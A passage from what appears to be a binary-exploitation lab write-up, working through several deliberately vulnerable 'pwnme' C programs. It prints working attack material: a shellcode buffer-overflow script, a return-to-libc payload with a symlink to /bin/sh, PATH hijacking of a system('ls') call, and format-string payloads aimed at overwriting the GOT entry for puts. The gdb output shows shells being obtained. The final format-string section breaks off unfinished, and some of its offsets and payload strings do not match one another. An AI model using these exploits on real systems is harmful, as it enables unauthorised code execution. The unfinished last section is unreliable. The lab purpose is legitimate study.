tux@tux:~/0x03$ ./pwnme `python exploit.py`
Segmentation fault (core dumped)

deep breath

After checking in gdb, it looks like our offset is still wrong

tux@tux:~/0x03$ gdb -q ./pwnme core
Reading symbols from ./pwnme...(no debugging symbols found)...done.
[New LWP 10124]
...snip...
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x43434343 in ?? ()

After tinkering with the padding, I find the magic number that results in our target address going into eip - 440. I update the exploit..

buf =  ""
buf += "\xdb\xdd\xb8\x97\xb5\xbc\x08\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x0c\x31\x46\x18\x83\xc6\x04\x03\x46\x83\x57"
buf += "\x49\x62\xa0\xcf\x2b\x21\xd0\x87\x66\xa5\x95\xbf\x11"
buf += "\x06\xd6\x57\xe2\x30\x37\xca\x8b\xae\xce\xe9\x1e\xc7"
buf += "\xda\xed\x9e\x17\xf5\x8f\xf7\x79\x26\x32\x69\xf5\x50"
buf += "\xb2\x3e\xaa\x29\x53\x0d\xcc"

buf += "A" * (440 - len(buf))

buf += "\x0d\xf7\xff\xbf"

buf += "C" * (512 - len(buf))

print buf

And run it!

tux@tux:~/0x03$ echo $BASHPID
9946
tux@tux:~/0x03$ ./pwnme `python exploit.py`
tux@tux:/home/tux/0x03$ echo $BASHPID
10167

Great! We've now (finally) got a working exploit.

0x04

// gcc -fno-stack-protector pwnme.c -o pwnme
#include <stdio.h>
#include <stdint.h>
#define MAX_LEN 1024

struct foo {
    uint16_t len;
    char content[MAX_LEN];
} foo;

int foo_cpy(FILE *fp) {
    struct foo bar;

    fread(&bar.len, sizeof(uint16_t), 1, fp);
    if ((bar.len+1 & 0xff) > MAX_LEN) {
        puts("Bad dog!");
    } else {
        puts("Good.");
        fseek(fp, 2, SEEK_SET);
        fread(&bar.content, 1, bar.len, fp);
        printf("%s\n", bar.content);
    }

    fclose(fp);

    return 0;
}

int main(int argc, char **argv) {
    FILE * fp;
    fp = fopen(argv[1], "r");
    foo_cpy(fp);
    return 0;
}

cracks knuckles So, upon entering main, we open the filename specified and pass the resulting descriptor to the foo_cpy. The foo_cpy will read in the a uint16_t from the descriptor into the bar.len variable. It will then check that the file size + 1, logical AND 255 is not greater than MAX_LEN (1024). If it is, then the message Bad dog! is output, otherwise we seek to position 2 in the file and read from the file the stated length in bytes and print out the content.

In the hint, we are given the following command.

tux@tux:~/0x04$ xxd hint
0000000: 7072 696e 7466 2022 5c78 6666 5c78 6666  printf "\xff\xff
0000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000020: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000030: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000040: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000050: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000060: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000070: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000080: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000090: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000a0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000b0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000c0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000d0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000e0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000f0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000100: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000110: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000120: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000130: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000140: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000150: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000160: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000170: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000180: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000190: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00001a0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00001b0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00001c0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00001d0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00001e0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00001f0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000200: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000210: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000220: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000230: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000240: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000250: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000260: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000270: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000280: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000290: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00002a0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00002b0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00002c0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00002d0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00002e0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00002f0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000300: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000310: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000320: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000330: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000340: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000350: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000360: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000370: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000380: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000390: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00003a0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00003b0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00003c0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00003d0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00003e0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00003f0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000400: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000410: 4141 4141 4141 4141 4141 4141 4242 4242  AAAAAAAAAAAABBBB
0000420: 2220 3e20 7465 7374 0a                   " > test.

Looking at the first two bytes, the length that would be read in would equal 0xffff, or 65536. Adding 1 to this gives us 0xf0000. A logical AND of 0xf0000 and 0xff results in the value 0, meaning we would pass the size check, even though the size is greater than the max buffer size. This results in a buffer overflow. We should be able to use this to execute arbitrary code by manipulating the eip register.

I run the test pattern through gdb.

tux@tux:~/0x04$ gdb -q ./pwnme
Reading symbols from ./pwnme...(no debugging symbols found)...done.
gdb-peda$ run test
Starting program: /home/tux/0x04/pwnme test
Good.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBo|"�

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0x0
EDX: 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6e0 --> 0x804a008 --> 0x0
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff6e0 --> 0x804a008 --> 0x0
0004| 0xbffff6e4 --> 0x804866f --> 0x72 ('r')
0008| 0xbffff6e8 --> 0x804987c --> 0x8049790 --> 0x1
0012| 0xbffff6ec --> 0x8048622 (<__libc_csu_init+82>:    add    edi,0x1)
0016| 0xbffff6f0 --> 0x2
0020| 0xbffff6f4 --> 0xbffff7b4 --> 0xbffff8dc ("/home/tux/0x04/pwnme")
0024| 0xbffff6f8 --> 0xbffff7c0 --> 0xbffff8f6 ("SHELL=/bin/bash")
0028| 0xbffff6fc --> 0x804a008 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

It looks like we can overwrite eip at position 1036. I confirm this by changing the value of BBBB to CCCC.

tux@tux:~/0x04$ python -c 'import sys; sys.stdout.write("\xff\xff" + ("A" * 1036) + ("C" * 4))' > test
tux@tux:~/0x04$ gdb -q ./pwnme
Reading symbols from ./pwnme...(no debugging symbols found)...done.
gdb-peda$ run test2
Starting program: /home/tux/0x04/pwnme test2
Good.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCC|"�

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0x0
EDX: 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6e0 --> 0x804a008 --> 0x0
EIP: 0x43434343 ('CCCC')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x43434343
[------------------------------------stack-------------------------------------]
0000| 0xbffff6e0 --> 0x804a008 --> 0x0
0004| 0xbffff6e4 --> 0x804866f --> 0x72 ('r')
0008| 0xbffff6e8 --> 0x804987c --> 0x8049790 --> 0x1
0012| 0xbffff6ec --> 0x8048622 (<__libc_csu_init+82>:    add    edi,0x1)
0016| 0xbffff6f0 --> 0x2
0020| 0xbffff6f4 --> 0xbffff7b4 --> 0xbffff8db ("/home/tux/0x04/pwnme")
0024| 0xbffff6f8 --> 0xbffff7c0 --> 0xbffff8f6 ("SHELL=/bin/bash")
0028| 0xbffff6fc --> 0x804a008 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x43434343 in ?? ()

Awesome. So, what can we do with this? We could overwrite eip with the address of __libc_system, which could allow for execution of arbitrary commands. First, I find the address of __libc_system.

gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xb7e643e0 <__libc_system>

We can now build a payload using a small snippet of Python.

tux@tux:~/0x04$ python -c 'import sys; sys.stdout.write("\xff\xff" + ("A" * 1036) + "\xe0\x43\xe6\xb7")' > payload

We then pass this payload filename into pwnme, and observe the result.

tux@tux:~/0x04$ ./pwnme payload
Good.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�Co|"�
sh: 1: r: not found
Segmentation fault (core dumped)

Awesome - it's trying to execute a program called r. I was worried we'd have to manipulate the stack somewhat in order to exploit this, but as it stands all we need to do is create a symlink named r that points to /bin/sh, and re-execute pwnme with a manipulated PATH environment variable.

tux@tux:~/0x04$ ln -s /bin/sh r
tux@tux:~/0x04$ PATH=.:$PATH ./pwnme payload
Good.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�Co|"�
$ id
uid=1000(tux) gid=1000(tux) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

Good stuff - we've got a shell by using a symlink, along with our payload.

0x05

// gcc pwnme.c -o pwnme
#include <stdio.h>

int main( void ) {
        puts("Content of /home/tux:");
        system("ls -l /home/tux");

        return 0;
}

Now, either I'm missing something, or this is a pretty simple binary to exploit. It infact is very similar to the last step of the previous binary. We can create a file in the current directory named ls, and then run pwnme with an updated PATH environment variable, so that instead of calling /bin/ls our own ls script gets called.

tux@tux:~/0x05$ echo 'sh' > ls && chmod +x ls
tux@tux:~/0x05$ PATH=.:$PATH ./pwnme
Content of /home/tux:
$ id
uid=1000(tux) gid=1000(tux) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

Done, and done.

0x06

// gcc -fno-stack-protector pwnme.c -o pwnme
#include <stdio.h>
#include <string.h>
int dummy(const char * data) {
    char buff[64];
    if(strlen(data) > 64)
        puts("Bad dog!");
    else {
    sprintf(buff, data);
    puts(buff);

    }

    return 0;
}

int main(int argc, char **argv) {
    dummy(argv[1]);
    return 0;
}

In this binary, we have very limited space (64 characters) for our input, however from what I can see we shouldn't need much to trigger an exploit. The call to sprintf is susceptible to a Format String Injection vulnerability, as it accepts user input as the first argument without sanitation. We can demonstrate this by providing %x as the input, which will give us the value of the first item on the stack.

tux@tux:~/0x06$ ./pwnme %x
2c0003f

We can validate this using gdb.

gdb-peda$ disas dummy
Dump of assembler code for function dummy:
   0x0804845b <+0>:    push   ebp
   0x0804845c <+1>:    mov    ebp,esp
   0x0804845e <+3>:    sub    esp,0x48
   0x08048461 <+6>:    sub    esp,0xc
   0x08048464 <+9>:    push   DWORD PTR [ebp+0x8]
   0x08048467 <+12>:    call   0x8048330 <strlen@plt>
   0x0804846c <+17>:    add    esp,0x10
   0x0804846f <+20>:    cmp    eax,0x40
   0x08048472 <+23>:    jbe    0x8048486 <dummy+43>
   0x08048474 <+25>:    sub    esp,0xc
   0x08048477 <+28>:    push   0x8048580
   0x0804847c <+33>:    call   0x8048310 <puts@plt>
   0x08048481 <+38>:    add    esp,0x10
   0x08048484 <+41>:    jmp    0x80484a7 <dummy+76>
   0x08048486 <+43>:    sub    esp,0x8
   0x08048489 <+46>:    push   DWORD PTR [ebp+0x8]
   0x0804848c <+49>:    lea    eax,[ebp-0x48]
   0x0804848f <+52>:    push   eax
   0x08048490 <+53>:    call   0x8048350 <sprintf@plt>
   0x08048495 <+58>:    add    esp,0x10
   0x08048498 <+61>:    sub    esp,0xc
   0x0804849b <+64>:    lea    eax,[ebp-0x48]
   0x0804849e <+67>:    push   eax
   0x0804849f <+68>:    call   0x8048310 <puts@plt>
   0x080484a4 <+73>:    add    esp,0x10
   0x080484a7 <+76>:    mov    eax,0x0
   0x080484ac <+81>:    leave
   0x080484ad <+82>:    ret
End of assembler dump.
gdb-peda$ break *dummy+58
Breakpoint 1 at 0x8048495
gdb-peda$ run %x
Starting program: /home/tux/0x06/pwnme %x
[----------------------------------registers-----------------------------------]
EAX: 0x7
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0x0
EDX: 0xbffff6a7 --> 0xfff6c000
ESI: 0x0
EDI: 0x0
EBP: 0xbffff6e8 --> 0xbffff708 --> 0x0
ESP: 0xbffff690 --> 0xbffff6a0 ("2c0003f")
EIP: 0x8048495 (<dummy+58>:    add    esp,0x10)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804848c <dummy+49>:    lea    eax,[ebp-0x48]
   0x804848f <dummy+52>:    push   eax
   0x8048490 <dummy+53>:    call   0x8048350 <sprintf@plt>
=> 0x8048495 <dummy+58>:    add    esp,0x10
   0x8048498 <dummy+61>:    sub    esp,0xc
   0x804849b <dummy+64>:    lea    eax,[ebp-0x48]
   0x804849e <dummy+67>:    push   eax
   0x804849f <dummy+68>:    call   0x8048310 <puts@plt>
[------------------------------------stack-------------------------------------]
0000| 0xbffff690 --> 0xbffff6a0 ("2c0003f")
0004| 0xbffff694 --> 0xbffff8f3 --> 0x53007825 ('%x')
0008| 0xbffff698 --> 0x2c0003f
0012| 0xbffff69c --> 0x0
0016| 0xbffff6a0 ("2c0003f")
0020| 0xbffff6a4 --> 0x663330 ('03f')
0024| 0xbffff6a8 --> 0xbffff6c0 --> 0xffffffff
0028| 0xbffff6ac --> 0x804824a ("__libc_start_main")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048495 in dummy ()

We can leverage this Format String Injection vulnerability to perform a buffer overflow attack on the variable buff, with the intention of overwriting the eip register.

After some experimentation, it appears that we can overwrite the eip register at position 76, as demonstrated by the following execution in gdb.

gdb-peda$ break *dummy+82
Breakpoint 1 at 0x80484ad
gdb-peda$ run `python -c 'print "%76xAAAA"'`
Starting program: /home/tux/0x06/pwnme `python -c 'print "%76xAAAA"'`
                                                                     2c0003fAAAA
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0xffffffff
EDX: 0xb7fd0878 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x66333030 ('003f')
ESP: 0xbffff6f0 --> 0xbffff800 --> 0xbfffffab ("LOGNAME=tux")
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff6f0 --> 0xbffff800 --> 0xbfffffab ("LOGNAME=tux")
0004| 0xbffff6f4 --> 0xbffff7b4 --> 0xbffff8d8 ("/home/tux/0x06/pwnme")
0008| 0xbffff6f8 --> 0xbffff7c0 --> 0xbffff8f6 ("SHELL=/bin/bash")
0012| 0xbffff6fc --> 0xb7e573fd (<__cxa_atexit+29>:    test   eax,eax)
0016| 0xbffff700 --> 0xb7fcf3c4 --> 0xb7fd01e0 --> 0x0
0020| 0xbffff704 --> 0xbffff720 --> 0x2
0024| 0xbffff708 --> 0x0
0028| 0xbffff70c --> 0xb7e3fa63 (<__libc_start_main+243>:    mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x41414141 in ?? ()

We could direct the execution to the __libc_system function, and potentially gain code execution. Let's get the address for __libc_system first.

gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xb7e643e0 <__libc_system>

Next, we construct a payload to overwrite eip with this address.

run `python -c 'print "%76x\xe0\x43\xe6\xb7"'`

Let's see what happens..

gdb-peda$ run `python -c 'print "%76x\xe0\x43\xe6\xb7"'`
Starting program: /home/tux/0x06/pwnme `python -c 'print "%76x\xe0\x43\xe6\xb7"'`
                                                                     2c0003f�C�
[New process 4114]
process 4114 is executing new program: /bin/dash
sh: 1: ��������: not found
[Inferior 2 (process 4114) exited with code 0177]

Ok, so we redirected the flow to the system function, but we tried to execute a junk filename. After attempting to create a file with the filename stated above (which you can actually do) I met with zero success - back to the drawing board.

As the user input is subsequently passed into the puts function, we could overwrite the GOT entry for puts with the address of __libc_system.

First of all, I find the address of the GOT pointer for puts, and the address for the function __libc_system.

gdb-peda$ disas 0x8048310
Dump of assembler code for function puts@plt:
   0x08048310 <+0>:    jmp    DWORD PTR ds:0x80497a0
   0x08048316 <+6>:    push   0x0
   0x0804831b <+11>:    jmp    0x8048300
End of assembler dump.
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xb7e643e0 <__libc_system>

Next we need to find at which offset in the stack our input appears.

tux@tux:~/0x06$ ./pwnme AAAA.%x.%x.%x.%x.%x.%x
AAAA.2c0003f.0.41414141.3063322e.66333030.342e302e

Great, so our input starts at position 3 in the stack.

tux@tux:~/0x06$ ./pwnme AAAA.%3\$x
AAAA.41414141

Time to start putting together our payload. The first four characters will include the command we want to execute - in this case, sh;#. We will then include two addresses, pointing to each half of the GOT pointer for puts.

sh;#\xa0\x97\x04\x08\xa2\x97\x04\x08

Next, we output enough characters (minus 12, for the current output) to bring the total number of characters up to the least significant two bytes of the address for the __libc_system function. We then specify position 5 on the stack (the address for the first half of the GOT pointer for puts), followed by $hn, in order to write out to the address at position 5 on the stack.

sh;#\xa0\x97\x04\x08\xa2\x97\x04\x08%57399x%4$hn

We repeat this process for the most significant two bytes of the address for the __libc_system function.

sh;#\xa0\x97\x04\x08\xa2\x97\x04\x08%57399x%4$hn%1652%6$hn

run `python -c 'print "sh;#\xa0\x97\x04\x08\xa1\x97\x04\x08\xa2\x97\x04\x08\xa3\x97\x04\x08%204x%4$n%99x%5$n%163x%6$n%209x%7$n"'`

